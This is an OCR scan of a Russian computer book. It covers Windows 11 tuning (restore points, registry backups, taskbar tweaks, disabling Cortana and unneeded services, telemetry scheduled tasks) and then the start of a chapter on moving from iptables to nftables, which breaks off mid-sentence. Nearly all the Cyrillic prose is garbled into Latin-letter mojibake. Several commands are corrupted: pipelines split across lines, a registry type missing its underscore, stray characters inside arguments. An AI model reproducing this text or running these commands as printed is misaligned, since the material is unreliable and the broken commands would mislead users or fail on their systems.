IIpexxae YeM KOBBIPATHCSA B MOTPOXAaX ONEPALHOHHOW CHCTEMBI, HMEET CMBICI KaKk MH-
HHUMYM CO3/1aTh PE3EPBHYIO0 KOIMHIO CHCTEMHOIO peecTpa U TOYKY BOocCTaHOBIeHHs. Hau-
HEM C IOCJIEHEH.

Touyka BocCcTaHOBJEHUA

B HOBOI1 BHHI€ METOIMKA CO3/1aHUS TOYKH BOCCTAaHOBIJIEHHS HE CTOJIb TPUBHANIbHA, KaK B
npensiayux Bepcusax OC: HUKOrga He Halaelb, €ClIM HE 3Haelllb, re UCKaTh. Haxmu
Win-R u B OTKpbIBUIEMCS OKHE «BBINOJIHHTH» HabepH sysdm.cpl. OTKpOETCS OKHO
«CBoi#icTBa CHCTEMBI»: NEPEHIN K BKIaAKe «3alIUTa CHCTEMbI», BBIIEIH CHCTEMHBIH
JUCK ¥ HaXXMH Ha KHOTKY «Co3naTb». BBeau Ha3BaHHE 111 HOBOH TOYKH BOCCTaHOBIIE-
Hus ¥ Haxmu «OK» (puc. 12.1).

Brnocneacteun MoxHO OyaeT aBTOMaTH3MPOBaTh CO3JJaHHE TOYEK BOCCTAHOBIIEHHS C I10-
MOIUBIO YTHJIUTHI WMIC .EXE TAKOH KOMAaHIOH:

Wnic.exe /Namespace:\\root\default Path SystemRestore Call CreateRestorePoint
"$DATES", 100, 1
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CeoncTea CiscTessb! X

Viran xoneesoTEDS OGapyamawe
Donomssrensiio 3auvTa cncTeres Yaanaees T
Yot oTMEBUMTS L no R
SRUNTY CHCTEMBI.
Bo cucTeM

Dns oTma i HexeNaTenbHbX usrerasd
O4CTEMY Bhi MOXETE BOCCTAHOBHTL
COCTORHME KOMROTEDA,
cooTBeTTIBALLee Mpess-aywedt Toue
BOCCTSHORASIMA.

BoccTaoamrs. .

s Noxanwen mox €) GcToa) Bxmovao
== [lokam> e mox (D) Onxnoveo

= Boinonnwte X NEDIOTPOB BOCCTAHOBNSMA,
} BACKOBLAM POCTPIHCTBOM U
DYEX BOCCTaHABNEHMA.

Hactpoum...

= Beeante WMa Nporpammbl, Nanku, A0KyMEHTa WK PECYPCa XY BOCCTaHOB/ErmMA ANA BWCK0B C Cosaam...
Wnteprera, koTopuie TpeGyercs oTkpb(Th. R Pyreumed SEUNTH OTEe. -

OTxpbiTe: L 7 S

OK Om Noavernm

Puc. 12.1. Co3gaHue To4ku BoccTaHoBnenua B Windows 11

Mo>xHO OMeCTUTb 3Ty KoMaHAay B batch-dain 1 3amyckaTh BpyYHYIO OT HMEHH aJIMHHH-
cTpaTopa 1no Heo6xoAHUMOCTH 1100 Nponucarh B IJIAaHUPOBIUKKE 3aaay Windows U BbI-
NOJIHATH 110 PACIHCAHHIO.

CucteMHbIn peecTp

C peecTpoM Bce HEMHOTO Mpouie: st paboTsl C HUM CYLIECTBYET KOHCOJbHAS YTHIIMTA
REG EXPORT, C IMOMOILUBIO KOTOpOﬁ MOXXHO 3KCIIOPTHPOBATHL ULEJIbIE BETBU pEECTpa, HA-
IIPUMED TakK:

reg export HKIM C:\hklm.reg

3nech hklm.reg — (ain, B KOTOpoM OyneT coxpaHeHo coaepxxumoe BeTeH HKLM. Axa-
JIOTHYHBIM 00pa3oM MOXHO 3a03KaNHTh OCTaJbHbIE BETBH PEECTPa, a MOTOM, €CJIH BO3-
HHUKHYT [po0JeMbl, OTKAaTHTh U3MEHEHHS, 3aNyCTHB reg-daiin (puc. 12.2).

[Tonb3oBarens ¢ npaBamu aaMUHHcTpaTopa B Windows 11 MMeeT npakTHYeCKH MOJHBIH
JOCTYI KO BCEM BETBAM PEECTpa, I03TOMY, €CJIH Thl 00JIafaelib B CHCTEME yYeTKOH af-
MHMHA, MOXELIb CMEJIO BHINOJIHATH BCE TpeOyeMble Onepalty ¢ NOMOILBIO regedit. Eciu
K€ aAMHHCKHMX NPHBHIETHH y Tebs HET, CIelyeT 3amyCKaTb regedit M reg-¢aiibl oT
MMEHH aAMHHHCTpPATOpA.
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B Aamunnctpatop: Komananas crpoka = O X

Puc. 12.2. Co3pnaHue 63kana cucteMHoro peectpa

BosBpaujaemM npuBLIYHYIO NaHeNb 3agay
U rnaBHOE MEeHH0

HoBas manens 3agau B ctiwie macOS npuiiack Mo BKYCY MHOTHM I10JIb30BaTeNlsM
Windows, HO ganeko He BceM. MOXHO NEpEMECTHUTh 3HAYKH MPHIOKEHHH H KHOIKY
«IIyck» B 1eByI0 YacThb NaHe/H 331a4, Kak 3To ObUIO peaqn30BaHo B «aecsaTkey». s ato-
ro LIEJIKHHA NPaBOil KJIaBUIIEH MBILIH B JIF00O0I CBOOOJHOI OT 3HAYKOB TOYKE MMAHEIH H B
OTKpBIBIIEMCS] KOHTEKCTHOM MeHI0 BbiOepH nyHKT «[lapameTpsbl nanesin 3agau». B o1-
KPbIBILIEMCS OKHE pa3BepHH crnucok «[loBeneHHe maHeJH 3aJa4» U B PacloOIOXEHHOM
crnpaBa MeHio BeiOepu nyHKT «Caesa» (puc. 12.3).

Mepametpa

Valentin Holmogorov Mepconanusauus > MNanenb 3apau
alentin@hotmogarov. i

Haimm YrnoBmie 3HaYKn NaHenw 3agay

B Cuctema Nepenonuenne yrna nanenw 3adau

8  Biuetootn v ycrpoicres
@ Cetb u Mnrepner Noseashme nanenn 3a8au
Cnesa
1 7/ nepconanwsauna
BoipagHuBatvie naHeny 3agau 1 No uewrpy

88 DNpunoxennn

YyerHbie 3anucu ABTOMSTAUECKM CKPRIBATE NAHEND 3aRau

s

Bpewms v a3biX "
MokaseBath IMBNeMb! (CUBTUMK HENIPOUUTAHWBIX COOBUWEHNA) HA MPUAOKEHMAX NaHEeNN 33434
Hrpu

Cneusanasme BOIMOKHOCTH

KoxmpenuuansuocTh 1 Besonat

® ¢ % & @

Uenp obHosnenus Windows ILlenxuute & RanbHem Yriy naHenw 3a3av, 4toBe Nokazars p2B6ouwi TN

@ Namyuws nomows

&7 Ormpaeurs orams

HOoOuHOLBRTEAEECOOAR ~woam, e

Puc. 12.3. Bo3spawaem 3Haukv naHenv 3agay B NpUBbIYHOE MECTO
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Ho 3T0ro mist koro-to MOXeT 0Ka3aTbCs HEAOCTATOYHO: M PACIOIOKEHHE 3HAYKOB, U
rpynnupoBka 3aga4 B Windows 11 peanu3oBaHbl HEMHOTO 1Mo-apyromy. CaMelii mpocToi
cnoco0 BEpHYThCS K KJIIACCHYECKOMY MPEACTABIICHUIO NaHEH 3a1a4 6e3 He0OX0JUMOCTH
YCTaHABJIMBATh JOMOJHHUTENIbHBIE IPOrPaMMbl, 3aHUMAIOLINE aMsITh, — BOCIOJIb30BATh-
cs reg-(haiioM CIeayoLEro CoaepKaHus:

Windows Registry Editor Version 5.00

[HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell\Update\Pack
ages]
"UndockingDisabled"=dword: 00000001

[Tocne mpuMeHEHHs 3TOro TBHKA Hy>XHO nepezanyctutb Windows Explorer unu 3aBep-
WHUTh TeKywHid ceanc Windows u 3anoruHuThes cHoOBa. [laHenp 3amau npumer Gonee
MPHUBBIYHBIN BHJI, HO TIPH 3TOM B HEH «CJIIOMAIOTCS» HEKOTOpbIE GHYH BPOAE IPYIITHPOB-
KM MPUIIOXKEHHH, KpoMe Toro, oTBanutcs MeHwo «Ilyck» u cTpoka noucka. ['maBHoe me-
HIO MOXXHO OyZIeT BEpPHYTb C IIOMOLIbIO OJHOH M3 OECIUIaTHBIX YTHIIMT, pe€4b O KOTOPBIX
NoWJeT nanplie, a MOUCK Bee elle Oyaer paborate B poBogHHKE (pHc. 12.4).

M| O Y7066 Hauate nouck ssesvTe 34€Ck O & ; c B A B

Puc. 12.4. MNanens 3aga4 Windows 11 nocne NnpuMeHeHUs TBUKa

UToOb! BKIOYHUTh U OTKJIIOUYHTH CHCTEMHbIE 3HaYKH B NIAHENH 3a7ay, OTKPO KOMaHIHYIO
CTPOKY (cmd. exe) U BBIMOJIHH B HEH CIEAYIOLIYIO KOMaHYy:

Explorer shell:::{05d7b0f4-2121-4eff-bfbb-ed3£690894d9}\SystemIcons

Otkpoercst OkHO «CHCTeMHbIE 3HAYKHY, C IOMOLIBIO KOTOPOTO MOXXHO HACTPOUTH OTO-
OpakeHHe 3HAUKOB B MMaHENH 3a1a4 (puc. 12.5).

UroOsl «cpenate Bce Kak ObLIO» M IMpPU 3TOM HE INOJNOMaTh (YHKUHOHAIBHOCTD
Windows 11, MoxxHO Bocmosib30BaThCs OecriaTHOH  ytunutoit  ExplorerPatcher
(https://github.com/valinet/ExplorerPatcher), koTopas Bo3Bpaliaer naHemau 3ajgay kiac-
cuueckuit Bux oopasua Windows 10 1 npu 3ToM He OTK/IIO4aeT npoyre GyHKLUHH CHCTe-
Mbl. [IpocTto ckauuBaews ¢ caiTa pa3pabOT4YHMKa W yCTAaHABIMBACLIb IPHIIOKEHHE —
ByaJsi, Bce paboraer!

Jns Bo3BpaTa Ha MecTo kiaccuyeckoro MeHw «Ilyck» B HoOBbIX Bepcusix Windows
TpagHLHOHHO Hcnonb3oBanachk Tyn3a Classic Shell (http://www.classicshell.net/), Ho B
11-# Bepcuu HaMHOro ny4ile U craduibHee pabotaer aHanornyHas ytuiaura OpenShell
(https://github.com/Open-Shell/Open-Shell-Menu/releases). YcraHoBka Tyn3bl IOJI-
HocThlo uaeHtuyHa Classic Shell, HacTpauBaeTcs u paboTaeT oHa B TOYHOCTH TaK e
(puc. 12.6).
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B Cucremnbie snauxm e o X
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Ecnn 1ebe HpaButcs oOHOBIEHHas naHensb 3agay Windows 11 M ThI pewm ocTaBUTh €e,
HO XOY€llb 3aMEHHMTHh IJIaBHOE MEHIO Ha Goyee NMPHBBIYHOE, MOXKHO BOCIHOJIB30BAaThHCS
yrunutoi Start 11 ot Stardock (https://www.stardock.com/products/startl1/) — npas-
Jla, IporpaMMa 3Ta IuIaTHasi.

dononHutenbHasn Hac1'p0|7||<a naHenun 3anad

Ecan Thl Xxo4ewb NOKOBBIPATHCS B 6onee riryOOKMX HAacTpoHKax MaHEeNH 3aJay, K TBOUM
ycinyraM HHCTpYMeHT nox HasBanueM 7+ Taskbar Tweaker (https://ramensoftware.com/
7-taskbar-tweaker), KOTOpEI# NpekpacHO 3apeKOMEHA0Bal ce0s B BUHIE C 7-H BEPCHH H
Takxe paboraer B 11-H, eciin B Helt aKTUBMpOBaHa Kjlaccuieckas nasens (puc. 12.7).

' ﬁ 7+ Taskbar Tweaker
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Puc. 12.7. 7+ Taskbar Tweaker

YTuiuTa uMeeT pycCcKOs3bIYHBIN HHTEP(ENC U MOTOMY KpaiiHe MpocTa B UCIONb30BAHUH.
C noMouibio 3TOH Ty/3bI MOJKHO HaCTPOUTH MaHens 3aaa4 Windows 11 MMeHHO Tak, kak
3TO HYXXHO Tebe.

Otkniouaem KopTaHy

KopTaHa — 3T0 He NMpOCTO BCTPOEHHBIH ronocoBoi noMowHuk Windows, oHa riay6oko
MHTErpUpOBaHa B (yHKUHIO NMOMCKA, CHCTEMY 0€30MacHOCTH M IPYTHE apXHTEKTypHbIE
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3JIEMEHTHI CUCTEMBI. OTK/IIOYHTh FOJIOCOBOIO IMOMOIIIHHKA B Hacrpoi'n(ax CHCTEMBI ObIBa-
€T HEAOCTATOYHO, HO MOXHO BBINIOJIHHUTH CI€AYIOILIHNE KOMAHAbI:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Windows Search" /v
"AllowCortana" /t REG DWORD /d 0 /f

reg add "HKLM\SOFTWARE\Microsoft\PolicyManager\default\Experience\AllowCortana"
/v “value" /t REG_DWORD /d 0 /f

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" /v
"CortanaEnabled" /t REG DWORD /d 0 /f

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" /v
"CortanaEnabled" /t REG DWORD /d 0 /f

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" /v
"CanCortanaBeEnabled" /t REG DWORD /d 0 /f

He 3a6yzap nepe3anmycTHTh CUCTEMY IOCJIE BHECEHHS U3MEHEHHI B peecTp. UToObI He OT-
KIIOYHTh, a TMOJHOCTBIO yJanuTh KopTaHy A TeKyLIero mnoib30BaTess, 3alyCTH
PowerShell oT uMeHH aTIMHHHUCTPATOPa U BHINOJIHH CIEAYIOLIYI0 KOMaHIYy:

Get-AppxPackage -allusers Microsoft.549981C3F5F10
To xe camoe, HO 415 Bcex nosb3oBareneii Windows:
Get-AppxPackage -allusers *Microsoft.549981C3F5F10%

| Remove-AppxPackage

Remove-AppxPackage

BbiKknioyeHue «NULHUX» CNyX6

[To ymomuanuro B Windows 11 paboTtaeT HecKOJNBKO Ciyk 0, KOTOpble KOMY-TO MOTYT
OBITH MONIPOCTY HE HYKHBI.
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Puc. 12.8. OTknioueHne «LLHNX» CNyxb
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Hanpumep, ecnu Thl He monb3yeuibes Xbox, MOXXHO OTKIIOUHTE cnyx6bl XboxGipSve,
XblAuthManager, XblGameSave u XboxNetApiSvc. Ecau Tsl He Hcnonb3yenb MOOHIb-
Hble ycTpoHcTBa, a Windows 11 ycTaHoBneHa Ha CTalHOHAPHOM KOMIIBIOTEPE, MOXHO
oTKIIOUHTE SensorService, SensorDataService u SensrSve. Takxe MoxHO 6e3 oco6oro
BpeZa A7 300POBbs CHCTEMBI BHIPYOHUTH ClIeqyIOIHE CITyXXObI:

3O DPS — cny»6a MOJIUTHKHA JUATHOCTHKH,

O RemoteRegistry — ciyx06a yaaneHHOro ynpaBieHHs PEECTPOM;
O TermService — cnyx06a TepMHHAJIOB;

O TrkWks — kIHeHT oTcleXMBaHUA U3MEHHUBIINXCS CBS3EH.

J/is OTKIIOUEHHs JTUIIHMUX cayX6 Bocmonb3yics Bkiaakoi «Cayx0bl» qucneryepa 3a-
nad Windows (puc. 12.8).

Bknio4yaeM aBTOMaTUYECKYHO OYUCTKY
c¢hanna nogkavku

Yrobr! mpu BeIxoxe U3 cucreMsl Windows aBTOMaTHUecKH ouuinana ¢ain moakayk,
BOCIMOJIb3YHCS CIEayOLER KOMaHa0M:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory
Management" /v " ClearPageFileAtShutdown " /t REG DWORD /d 1 /f

3TO MO3BONHUT H30€XKaTh MOTEHIHAIBHOM YT€UYKH OaHHBIX: BEAb B (baﬁl'le MMOoOKa4YKH MO-
XKET XPAaHHUTHCA pa3IMdHas BakKHas I/lHd)OpMaHHﬂ, BKJItOHarouias JIOrHHbl U MapoJiy.

Yaansem npeaycTaHOBNEHHbIe
NPUNOXeHUnA

YacTp npenycraHoBineHHbIX B Windows 11 mporpaMm MOXXHO yJOanuTh B [AHEIH yIpaB-
JICHHs, HO HEKOTOPhlE MHUHH-NIPUIIOXEHHS W BCTPOEHHBIE YTHIMTHl B JTOM CIIHCKE HE
orobpaxatorcsa. UTo6bl NEMHCTANIMPOBAaTh BCE HEHYXKHbIE MPHUIIOXKEHHS, MOXXHO BOC-
TNOJIb30BAThCS CIEIYIOLUM CIIOCOOOM.

IlenkHy npaBoii kaaBuuei Mbiu Ha kHonke «Ilyck» Windows 11 ¥ B KOHTEKCTHOM
MeH10 BbiOepHu nyHKT «TepmuHan Windows (AaMHUHHCTpaTOp)».

B otkpeiBumieMcss okHe PowerShell Habepu kKoMaHOy Get-AppxPackage|Select Name,
PackageFullName. B KOHCOIH 0TOOPa3UTCS CIUCOK BCEX YCTAHOBIEHHBIX MPUIOXEHHH U
UX MoJHele uMeHa (puc. 12.9).

Tenepb MOXHO YIOaJIUThb moboe IMMPUITIOXKXEHHE KOMaHI0M Remove-AppxPackage
"fullname", TA€ "fullname" — MOJIHOE€ UMA MPUITIOXKEHHA, MTOJTYUYEHHOE Ha MPEABIOYILIEM
mare. 3ta KOMaHAda yAans€T NPpHUI0XXEHHUE I TEKYLIETO MOJIb30BATEIA. YT005I YAaluThb
€ro JJ1s BCEX I0JIb30BaTeNeH, CYLIECTBYET KOMaH/1a Get-AppxPackage -allusers *app* |
Remove-AppxPackage, [I€ *app* — UM$ YIal151€MOT0 MPUJI0XKEHHUS.
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Puc. 12.9. Cnucok Bcex yctaHoBNEHHbIXx npunoxenuin Windows 11

Ypansaem 3agauuv tenemeTpumn

Bce 3Hatot, uro B Windows uMeeTcsl MIaHMpOBIUMK 3aJaHUH, HO JalleKO HE KakIOMY
M3BECTHO, YTO OH B TOM YHCJI€ UCIOJIB3YETCS ISl BBITONHEHUS 3aa4 TeaeMeTpuu. Eciau
OTKPBITH TEPMHHAJ U HaOpaTh KOMaHAY shtasks /query, Thl TOJYUYHIb CIMCOK BCEX 3a-
MJIAaHHPOBAHHBIX B cUcTeMe 3aaay (puc. 12.10).

3anauu TeneMeTpUH MPEACTABIEHbI B CICAYIOIEM CITUCKE:
\Microsoft\Windows\FileHistory\File History (maintenance mode)
\Microsoft\Windows\AppID\SmartScreenSpecific
\Microsoft\Windows\Application Experience\AitAgent
\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser
\Microsoft\Windows\Application Experience\ProgramDataUpdater
\Microsoft\Windows\Application Experience\StartupAppTask
\Microsoft\Windows\Autochk\Proxy
\Microsoft\Windows\CloudExperienceHost\CreateObject Task

uooooguagaoaq
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Puc. 12.10. Cnucok Bcex 3annainpoBaHHbIX 3agay

O \Microsoft\Windows\Customer Experience Improvement Program\Consolidator

O Microsoft\Windows\Customer Experience Improvement Program\BthSQM
\Microsoft\Windows\Customer Experience Improvement Program\KemelCeipTask
\Microsoft\Windows\Customer Experience Improvement Program\UsbCeip
\Microsoft\Windows\Customer Experience Improvement Program\Uploader

\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-
DiskDiagnosticDataCollector

Qaaaq

\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticResolver
\Microsoft\Windows\DiskFootprint\Diagnostics
\Microsoft\Windows\FileHistory\File History (maintenance mode)
\Microsoft\Windows\Maintenance\WinSAT
\Microsoft\Windows\NetTrace\GatherNetworkInfo
\Microsoft\Windows\PI\Sqm-Tasks

\Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeSystem

Qaooagaoaaq
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O Wicrosoft\Windows\Shell\FamilySafetyMonitor
O Wicrosoft\Windows\Shell\FamilySafetyRefresh
O Wicrosoft\Windows\Shell\FamilySafetyUpload
O \Microsoft\Windows\Windows Error Reporting\QueueReporting

Otkiaoyn HECHYXHYIO 3aJa4y KOMAaHOOM schtasks /end /tn "task", rag€ task — COOT-
BETCTBYIOMIAsA 3aJada U3 CITHCKaA BBIIIC.

Nonyvyaem gocrtyn

KO BCEM HacTPOMKaM CUCTEMDI

YroObl mony4uTs OBICTPEIA U yOOOHBIH gocTyn Ko BceM HactpoiikaM Windows 11, cos-
naii Ha pabo4eM cToJie HOBYIO MAINKy CO CJIEAYIONIHM HMEHEM:

HacTporkuCucremu . {ED7BA470-8E54~-465E-825C~99712043E01C}

OTKpBIB Namnky, Thl YBHOHIIL OKHO, TAe coOpaHBl Bce OCHOBHBIE HacTpoiiku Windows,
Jlaxe Te, 10 KOTOPBIX B OOBIYHBIX YCIOBHAX HE TAaK-TO MPocTo Aobpatbes (puc. 12.11).
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Puc. 12.11. Nonyyaem SOCTYN KO BCEM HACTPONKAM CUCTEMBI



00— 186 —0O

3aKknoveHue

Microsoft Windows 11 — emie o4eHb Mojoaas omnepalMOHHas CHCTEMA, BECh CHEKTP
BO3MOXXHOCTEH KOTOPOH 10 KOHLIA MOKa He H3y4eH. TeM He MEHee OHa 3aBOEBLIBAET BCE
60b1IYI0 NOMYJIAPHOCTD y MOJIb30BATENEH, a CO BpEMEHEM, KOTAa CPOK MOAIEPKKH KOH-
Kypupylomux Bepcuii Windows nmomoiner k KOHIly, HaBEpHAKA BHITECHUT UX. MBI BbIAC-
HHWIH, KaKk HacTpoutb uHTepdeiic Windows 11 Takum obpa3zom, yTobsl oH 6611 Gonblue
NoX0X Ha npuBbIYHYI0 HaM Windows 10. A B mpouutod riaBe Mbl yxke IOrOBOPHIH O
HEKOTOPBIX HACTPOHKaX, KOTOPbIE MO3BOJAT YBEIHYHUTh OBICTPONEHCTBHE HOBOH BHHIBI
Ha CTapbIX MalMHaX co ciaboil anmapaTHOH KoHQHUrypauueH, 4Tobbl THI MOT MPHCTY-
IIMTh K UCIIOJIb30BAHHIO.
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Nftables.
Kak Bbirnagut oyayuiee
HacTpouku ¢panpsona B Linux

Haruun bamypun

HaunHarmue agMHHBI 4acTO CUMTAKOT, 4TO QaiipBon B Linux Ha3wiBaetcs iptables. bo-
Jiee ONBITHBIE 3HAKOT, YTO HBIHELIHSAS MOACHCTEMA sAapa A GHUIbTpauuy Tpaduka U Mo-
nudukanuu naketoB HaseiBaeTcsa NetFilter, a komanaa iptables Bcero Jumb yTuiauTa ais
ee HacTpoiiku. B 3ol rnaBe s mo3HakoMiIio T€6s1 ¢ HOBBIM HHCTPYMEHTOM, KOTOPBIi Bce
yalle BCTPEYaeTcs B COBPEMEHHBIX AUCTpUOyTHBaxX, — nftables.
BoamoxHo, ans Tebs aTo ByaeT HOBOCTBLIO, HO iptables BoBce He yHUKanbHa, ecTb W Apyrve
YTUNUTHLI I'IOAOGHOI'O poaa. COGCTBeHHO, HacTpauneaTb €A MOXHO TONbKO npasuna ans na-
keToB IPv4 Ha ceTeBoM ypoBsHe. [ins IPv6 noHanobutcs ip6tables, ANA kaHANbHOroO ypoB-
HA — ebtables U arptables.

Hactpotika ceTeBbIx HHTEp(EHCOB, MapIIPYTOB, MPOCTPAHCTB HMEH U MIPOYEro yXKe AaB-
HO YHM(HUHMpOBaHA B YTHJHMTE ip M3 MakeTa iproute2, a 300MapK CTapbIX YTHIIHUT
(ifconfig, vconfig, route U npoune) noaepKMUBAETCA TOJNBKO [IJ1s1 COBMECTHMOCTH CO CTa-
peIMH  ckpuntamu. JKmer 1M Takas ke YHHOQHUKAUMSA MEXCETEBOH JKpaH
(https://ru.wikipedia.org/wiki/MexcereBoii_dkpan)? o Bepcuii sapa 2.4 Linux npo-
IIe Yepe3 MHOXECTBO peaM3allMii MEXCETEBBIX 3KPAaHOB B sAApE M YTHIMT AJA HX Ha-
ctpoiiku (ipfilter, ipfwadm, ipchains), Ho NetFilter u iptables ncnone3yrTcs yxe no4TH
JBAJILATD JIET U KAXYTCS HE3BIOIEMBIMH.

Kak HH cTpaHHO, NIepBbI€ MONBITKH IEPEOCMBICIIMTL HaCTpoky MCD npennpuHHUManuch
emwe B 2008 rony. ITpoexT Ha3Banu nftables, HO OH cTan JNereHOapHBIM (B Y3KHX Kpyrax)
nonroctpoeM. B 2014 roagy ero HakoHel NpPHUHAJIHM B OCHOBHYIO BeTKy sapa 3.13, HO
T0J1b30BATENBCKHE YTHIIMTHI KAKOE-TO BPEMs OCTaBAJIMCh ITOYTH HENPHUIOAHBIMH K pabo-
te. K nmpuMepy, cUeTYHKH NaKETOB AJIA IPABHUJ XPaHUIIMCH B S7IpE, HO IPOCMOTPETh UX U3
[IPOCTPAHCTBA MOJIb30BATENSA HE OBLIO HUKAKOH BO3MOXXHOCTH.

Ceituac neno HaKOHEL MEHseTCs M IUCTPUOYTHBBI Oa)k€ HAaYMHAIOT HCIOJb30BaTh
nftables mo ymonuanuio. CtopoHHHE HHCTpYMEHTHI Bpoze fail2ban Toxe yxe nobaBnsior
ee MOJIEPXKKY.
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Heckonbko mpuyHH paccrathes ¢ iptables u nepeiitu Ha nftables:
YHHU(PUUIHPOBAHHBIH CHHTAKCHUC;
ObIcTpas 3arpy3ka 0oJbLIIMX KOHGHIOB;

BCTPOC€HHAsA NMOAACPXKKa CIIHCKOB anpecon/nopTOB;

Qaaa

CpeACTBa aBTOMAaTHYECKOH KOHBEPTAIMU ITPaBUI U3 iptables;
O seBoa npaBua B JSON.

B aroii rnaBe Mbl mepeHeceM HacTpoiku moero VPS c iptables Ha nftables. Mcnons3o-
BaTh cpa3y 00a MHCTpYMEHTa Ha OJHOH MalHMHE HE BBIHIET, TaK YTO HYXXHO IUIAHHUPO-
BaTb OMHOMOMEHTHYIO MUTPALIHIO.

JoxyMeHTanuo MoxHO HaiTH B BUKH npoekTa (https://wiki.nftables.org/).

Npo6nemsl iptables

Xotsa NetFilter BmosiHe XOpoOIIO COpaBisICS CO CBOEH 3amayeil, ero HacCTpoOHKa uepes
iptables HEPEAKO OKa3bIBAJIaCh Ky/a CIIOXKHEE, 4eM Moriia Obl ObITh.

K npuMepy, BCTpOEHHBIH CHHTaKCHUC A/ TPYTII aIPECOB U CETEN B HEM TaK M HE MOSABHIICS.
Cy1ecTByeT OTAENBHEBIH HHCTPYMEHT 1S 3THX ueneil — ipset (http:/ipset.netfilter.org/),
KOTOpPBIH MO3BOJISET CO3AATh IPYIIEBI H CCHLIATHCS HAa HUX B MTPaBUJIaX, BpOA€ iptables -
I FORWARD -m set --match-set TrustedHosts src -j ACCEPT.

OpaHako caMo TO, YTO TPYMIbl HACTPAUBAIOTCS OTAEIBHO OT MPAaBHUJI U C MOMOUIBIO IpY-
rOH YTHIIHTHI, co3qaeT MHoro npobiaem. Hy>xHO MOMHHTE 1Ba pa3HbIX CHHTaKcHca, Aa
eule U yOEOUTHCS, YTO HACTPOHKH ipset MpH 3arpy3Ke NPHUMEHSIOTCS paHbILIE MPABHI
iptables, — 3To mpH TOM, YTO BO MHOTHX AUCTpHOYTHBax Linux BCTpOEHHOro cepBHCa
IUIs ipset Tak U HeT.

[pyras HagoennuBas npobieMa — Henb3s yKa3aTbh HECKOJIBKO Pas3HBIX AEHCTBHH B onI-
HOM [IpaBHJIE.

Xots ewie Oosble pa3apa)kaeT OTCYTCTBHE BO3MOXKHOCTH HMCIIOIb30BaTh OJHH MpaBHiIa
s IPv4 u IPv6. B coBpemenHoM Mupe dual stack yxe cran HOpMoii Ha cepBepax, Ma-
HH ¢ ogHuM IPv4 Bce MeHbllle, a MallIMH ¢ OMHUM [Pv6 HeT U He MpeABUAUTCS, B UTOTE
aJIMUHY NPUXOAUTCS NyOIHUPOBATH OHH U T€ XKe MpaBHIIa B IBYX pa3HbIX KOHHUTraXx.

Kpome Toro, B HEKOTOpPBIX MECTaX CHHTAaKCHC OMUMH iptables qocraTouHo xpynkui. I ne-
TO MOXHO CTaBHTb MPOOeN Mmocje 3anAToi, rae-To HeT. [ 1e-ToO MOXHO CMeJI0 MIOMEHSATh
JIBE OIMIHHA MECTaMH, TJE-TO 3TO BbI30BeT OIHOKY. Ec/iM mpaBuiia reHepUpyIOTCs CKpHII-
TOM, 3TO 0COOEHHO YCIIOXKHSET TECTHPOBAHHE.

Bce 3To npuBOIHUT K TOMY, UTO iptables 4acTo HCMONB3YIOT Kak CBOEOOpa3HBIH HU3KOYPOB-
HEBBIH «A3BIK acceMOJiepa», KOTOpBIH reHepupyercs jaubo ¢ppoHTeHaaMu Bpoae shorewall
wiy firewalld, 1160 moaB30BaTENECKUMH CKPUIITaMH. A 1efb npoekTa nftables — B mep-
BYIO O4epenb CAelaTh HACTPOWKY MpaBHII MPOCTOH M ynoOHOH ans 4enoBeka. J[aBai mo-
CMOTPHM, HACKOJIBKO 3TO YAaJI0Ch.
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ABTOMaTHyeckKas TpaHCNAUNA

ABTops! nftables onpeneneHHo yWwid FOpbKUH ONBIT MHOTHX APYTHX OOJIBUIMX MHUIpaLUH
M HallMCaJy HHCTPYMEHTHI [UI aBTOMAaTH4ECKOH TpaHCIALMH NpaBui U3 iptables. MoxHo
KOHBEPTHPOBATh KakK OT/EJIbHbIE KOMaH/bl, TaK M Qaiibl 115 iptables-restore.

K coxanenuio, BO3MOXHOCTH aBTOMAaTHYECKOH TPaHCIALMH HACTPOEK ipset TaM HET,
B [IEPBYIO OYepesb H3-3a COBEPILIEHHO pa3HbIX MOAX0J0B K HACTpOMKe IpyMni, Hy U H3-3a
MaJIoH MONyJISIPHOCTH ipset.

OtnenpHble NpaBUiIa TPAHCIUPYIOTCS C [IOMOLIBED YTHIIMTHI iptables-translate, a Ha-
OOpHI MPaBHJI U3 iptables-save — C IIOMOIIBIO iptables-restore-translate. OTO TOJIb-
ko s IPv4, nns npasun ip6tables Hy)KHO HCIIONB30BATh ip6tables-restore-translate
U Jlajee 1o aHaJOTHH.

B Debian atu ytunutel Haxoastcsa B nakeTe iptables, B Fedora — B nakete iptables-nft.

ITocMOTpHM Ha TpaHCIALMIO OTAEIbHBIX NpaBuil. KomaHaa iptables-translate — ca-
MBIH MIPOCTOH croco® M3y4YHTh HOBBIH CHHTAKCHC Ha IPHMeEpaXx (XOTSA M HE 3aMEHHT 4Te-
HHUS TOKyMEHTauuu').

$ iptables-translate -t nat -I POSTROUTING -s 10.0.0.0/24 -o ethO -j MASQUERADE

nft insert rule ip nat POSTROUTING oifname "ethO" ip saddr 10.0.0.0/24 counter
masquerade

$ iptables-translate -A INPUT -m state --state NEW -m tcp -p tcp --dport 53 -
j ACCEPT -m comment --comment "DNS zone transfer"

nft add rule ip filter INPUT ct state new tcp dport 53 counter accept comment
\"DNS zone transfer\"

Kax BuauM, cTuinbs cHHTaKcHca O60uiblile N0X0x Ha pf U Apyrue MCD u3 cucteM ceMeincT-
Ba BSD.

Ho! Bocnonp30BaTbCs 3THMH KOMaHAaMH Ha HENOATOTOBJIEHHOH CHCTEME HE BBIMIET, H
BOT nouyeMy: B nftables Gosblie HET NpeaonpeaeeHHbIX TaOlUI U LENOYeK.

Xykn BMeCTO Leno4ek

B iptables 1ienoyky INPUT MM FORWARD HaXOAATCS B TaONHLE filter MO YMOJNYAHHUIO, TAK
e KaKk PREROUTING M POSTROUTING B Tabyuue nat. B nftables He cymecTByeT HHMKakux
